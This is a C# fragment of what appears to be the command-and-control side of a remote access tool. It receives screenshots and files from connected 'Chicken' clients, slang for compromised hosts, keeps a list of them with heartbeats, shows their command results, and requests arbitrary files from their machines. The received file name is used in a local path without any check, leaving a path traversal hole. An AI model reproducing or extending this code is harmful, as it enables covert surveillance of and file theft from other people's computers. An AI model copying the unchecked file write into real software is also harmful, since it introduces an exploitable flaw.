private void OnRecv(ClientBean client, byte[] recvbuff) { string str = Encoding.Default.GetString(recvbuff); Debug.WriteLine(str); if (str.StartsWith("File", StringComparison.OrdinalIgnoreCase)) { int msgPos = 20; string fileName = Encoding.Default.GetString(recvbuff, msgPos, 255).TrimEnd('\0'); msgPos += 255; Debug.WriteLine(fileName); int fileOffset = BitConverter.ToInt32(recvbuff, msgPos); msgPos += sizeof(int); int fileCounts = BitConverter.ToInt32(recvbuff, msgPos); msgPos += sizeof(int); if (fileName.StartsWith("temp_screen_")) { long time = long.Parse(fileName.Substring(12)); DateTime dt = new DateTime(1970, 1, 1, 8, 0, 0); //UTC+8 dt = dt.AddSeconds(time); fileName = dt.ToString("yyyy-MM-dd HH.mm.ss") + ".bmp"; } string filepath = @"D:\CtrlService_Recvs\" + fileName; FileStream file = new FileStream(filepath, fileOffset == 0 ? FileMode.Create : FileMode.Append); file.Write(recvbuff, msgPos, fileCounts); file.Close(); } if (str.StartsWith("Chicken", StringComparison.OrdinalIgnoreCase)) { listMutex.WaitOne(); if (!Clients.Contains(client)) { Clients.Add(client); LstChickens.Items.Add(client); } if (str.Length > "Chicken ".Length) { LstChickens.Items[Clients.IndexOf(client)] = str.Substring("Chicken ".Length); } listMutex.ReleaseMutex(); server.Send(client, BitConverter.GetBytes(SSprotocol.CMD_BEAT)); } if (str.StartsWith("Result", StringComparison.OrdinalIgnoreCase)) { ctrlForm.FeedBack(str); } }
private void btnGetFile_Click(object sender, EventArgs e) { if (txtRemoteFilePath.TextLength == 0) { MessageBox.Show("Choose File First"); return; } server.Send(cb, SSprotocol.makeGetFileMessage(txtRemoteFilePath.Text)); }